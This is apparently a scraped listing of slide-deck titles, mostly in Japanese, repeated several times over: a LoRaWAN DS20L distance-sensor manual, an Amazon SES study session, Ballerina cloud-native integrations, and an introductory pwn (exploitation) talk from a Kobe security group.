LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
Utilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native IntegrationsUtilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native Integrations
 

PWNの超入門 大和セキュリティ神戸 2018-03-25